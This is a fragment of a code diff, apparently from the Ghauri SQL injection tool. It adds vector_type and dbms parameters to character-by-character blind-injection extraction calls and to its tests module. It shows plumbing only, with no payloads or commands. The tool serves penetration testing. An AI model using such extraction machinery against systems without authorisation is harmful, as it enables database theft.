     1535 + offset=pos,
     1536 + expression_payload=value,
     1537 + queryable=entry,
     1538 + chars=chars,
     1539 + vector_type=vector_type,
     1540 + )
     1541 + else:
     1542 + retval = self._linear_search(
     1543 + url=url,
     1544 + data=data,
     1545 + vector=vector,
     1546 + parameter=parameter,
     1547 + headers=headers,
     1548 + injection_type=injection_type,
     1549 + proxy=proxy,
     1550 + attack01=attack01,
     1551 + is_multipart=is_multipart,
     1552 + timeout=timeout,
     1553 + match_string=match_string,
     1554 + not_match_string=not_match_string,
     1555 + text_only=text_only,
     1556 + delay=delay,
     1557 + timesec=timesec,
     1558 + suppress_output=suppress_output,
     1559 + expression_payload=value,
     1560 + queryable=entry,
     1561 + chars=chars,
     1562 + offset=pos,
     1563 + list_of_chars=list_of_chars,
     1564 + vector_type=vector_type,
     1565 + base=base,
     1566 + )
     1567 + pos += 1
    1149 1568   chars += retval
    1150 1569   logger.debug(f"character(s) found: '{str(chars)}'")
    1151 1570   except KeyboardInterrupt:
    skipped 87 lines
    1239 1658   chars=chars,
    1240 1659   offset=pos,
    1241 1660   list_of_chars=list_of_chars,
     1661 + vector_type=vector_type,
    1242 1662   )
    1243 1663   chars += retval
    1244 1664   pos += 1
    skipped 38 lines
  • ■ ■ ■ ■ ■ ■
    ghauri/core/tests.py
    skipped 405 lines
    406 406   match_string=None,
    407 407   not_match_string=None,
    408 408   text_only=False,
     409 + dbms=None,
    409 410  ):
    410 411   Response = collections.namedtuple(
    411 412   "SQLi",
    skipped 1496 lines
    1908 1909   match_string=string,
    1909 1910   not_match_string=not_string,
    1910 1911   text_only=text_only,
     1912 + dbms=dbms,
    1911 1913   )
    1912 1914   if bsqli and isinstance(bsqli, str) and bsqli == "next parameter":
    1913 1915   return None
    skipped 311 lines
Please wait...
Page is in error, reload to recover